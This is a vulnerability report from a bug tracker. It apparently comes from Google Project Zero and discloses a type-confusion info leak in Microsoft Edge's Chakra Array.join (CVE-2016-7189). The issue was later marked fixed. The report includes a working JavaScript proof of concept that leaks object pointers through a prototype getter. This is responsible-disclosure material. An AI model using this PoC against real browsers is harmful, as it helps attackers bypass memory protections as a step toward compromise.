New issue
Advanced search Search tips
Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Oct 2016
Cc:



Sign in to add a comment

Microsoft Edge: Info Leak in Array.join

Project Member Reported by natashenka@google.com, Aug 27 2016 Back to list

Issue description

When an array is joined in Chakra, it calls JavascriptArray::JoinArrayHelper, a function that is templated based on the type of the array. This function then calls JavascriptArray::TemplatedGetItem to get each item in the array. If an element is missing from the array, this function will fall back to the array object's prototype, which could contain a getter or a proxy, allowing user script to be executed. This script can have side effects, including changing the type of the array, however JoinArrayHelper will continue running as it's templated type even if this has happened. This can allow object pointers in an array to be read as integers and accessed by a malicious script.

A minimal PoC is as follows:


var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {

      t[0] = {};
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);

A full PoC is attached. One of the alert dialogs contains pointers to JavaScript objects.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
join2.html
604 bytes View Download
Project Member

Comment 1 by natashenka@google.com, Oct 11 2016

Labels: CVE-2016-7189
Project Member

Comment 2 by natashenka@google.com, Oct 12 2016

Status: Fixed
Project Member

Comment 3 by natashenka@google.com, Oct 19 2016

Labels: -Restrict-View-Commit

Sign in to add a comment